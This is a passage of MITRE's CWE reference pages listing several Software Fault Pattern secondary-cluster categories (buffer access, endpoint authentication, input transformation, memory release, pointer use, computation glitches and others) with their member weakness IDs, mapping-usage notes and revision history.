HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.459Incomplete Cleanup
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.771Missing Reference to Active Allocated Resource
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.772Missing Release of Resource after Effective Lifetime
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.773Missing Reference to Active File Descriptor or Handle
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.775Missing Release of File Descriptor or Handle after Effective Lifetime
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description, Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Faulty Buffer Access

Category ID: 970
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Faulty Buffer Access cluster (SFP8).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.890SFP Primary Cluster: Memory Access
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.118Incorrect Access of Indexable Resource ('Range Error')
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.121Stack-based Buffer Overflow
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.122Heap-based Buffer Overflow
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.123Write-what-where Condition
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.124Buffer Underwrite ('Buffer Underflow')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.125Out-of-bounds Read
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.126Buffer Over-read
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.127Buffer Under-read
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.129Improper Validation of Array Index
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description, Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Faulty Endpoint Authentication

Category ID: 949
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Faulty Endpoint Authentication cluster (SFP29).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.898SFP Primary Cluster: Authentication
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.293Using Referer Field for Authentication
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.302Authentication Bypass by Assumed-Immutable Data
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.346Origin Validation Error
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.350Reliance on Reverse DNS Resolution for a Security-Critical Action
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.360Trust of System Event Data
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.551Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.565Reliance on Cookies without Validation and Integrity Checking
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.647Use of Non-Canonical URL Paths for Authorization Decisions
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Faulty Input Transformation

Category ID: 992
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Faulty Input Transformation cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.896SFP Primary Cluster: Tainted Input
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.116Improper Encoding or Escaping of Output
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.166Improper Handling of Missing Special Element
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.167Improper Handling of Additional Special Element
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.168Improper Handling of Inconsistent Special Elements
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.172Encoding Error
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.173Improper Handling of Alternate Encoding
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.174Double Decoding of the Same Data
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.175Improper Handling of Mixed Encoding
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.176Improper Handling of Unicode Encoding
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.177Improper Handling of URL Encoding (Hex Encoding)
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.178Improper Handling of Case Sensitivity
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.179Incorrect Behavior Order: Early Validation
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.180Incorrect Behavior Order: Validate Before Canonicalize
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.181Incorrect Behavior Order: Validate Before Filter
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.182Collapse of Data into Unsafe Value
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Faulty Memory Release

Category ID: 969
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Faulty Memory Release cluster (SFP12).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.891SFP Primary Cluster: Memory Management
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.415Double Free
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.590Free of Memory not on the Heap
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.761Free of Pointer not at Start of Buffer
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.763Release of Invalid Pointer or Reference
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2021-03-15CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Faulty Pointer Use

Category ID: 971
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Faulty Pointer Use cluster (SFP7).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.890SFP Primary Cluster: Memory Access
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.469Use of Pointer Subtraction to Determine Size
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.476NULL Pointer Dereference
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.588Attempt to Access Child of a Non-structure Pointer
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description, Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Faulty Resource Use

Category ID: 983
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Faulty Resource Use cluster (SFP15).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.892SFP Primary Cluster: Resource Management
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.416Use After Free
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.672Operation on a Resource after Expiration or Release
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description, Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Faulty String Expansion

Category ID: 972
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Faulty String Expansion cluster (SFP9).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.890SFP Primary Cluster: Memory Access
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.785Use of Path Manipulation Function without Maximum-sized Buffer
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Feature

Category ID: 995
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Feature cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.906SFP Primary Cluster: UI
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.447Unimplemented or Unsupported Feature in UI
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.448Obsolete Feature in UI
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.449The UI Performs the Wrong Action
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.450Multiple Interpretations of UI Input
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.451User Interface (UI) Misrepresentation of Critical Information
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.549Missing Password Field Masking
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.655Insufficient Psychological Acceptability
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Glitch in Computation

Category ID: 998
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Glitch in Computation cluster (SFP1).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.885SFP Primary Cluster: Risky Values
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.128Wrap-around Error
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.190Integer Overflow or Wraparound
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.191Integer Underflow (Wrap or Wraparound)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.194Unexpected Sign Extension
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.195Signed to Unsigned Conversion Error
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.196Unsigned to Signed Conversion Error
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.197Numeric Truncation Error
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.369Divide By Zero
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.456Missing Initialization of a Variable
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.457Use of Uninitialized Variable
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.466Return of Pointer Value Outside of Expected Range
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.468Incorrect Pointer Scaling
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.475Undefined Behavior for Input to API
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.480Use of Incorrect Operator
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.481Assigning instead of Comparing
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.486Comparison of Classes by Name
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.562Return of Stack Variable Address
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.570Expression is Always False
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.571Expression is Always True
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.579J2EE Bad Practices: Non-serializable Object Stored in Session
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.587Assignment of a Fixed Address to a Pointer
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.594J2EE Framework: Saving Unserializable Objects to Disk
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.597Use of Wrong Operator in String Comparison
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.628Function Call with Incorrectly Specified Arguments
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.683Function Call With Incorrect Order of Arguments
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.685Function Call With Incorrect Number of Arguments
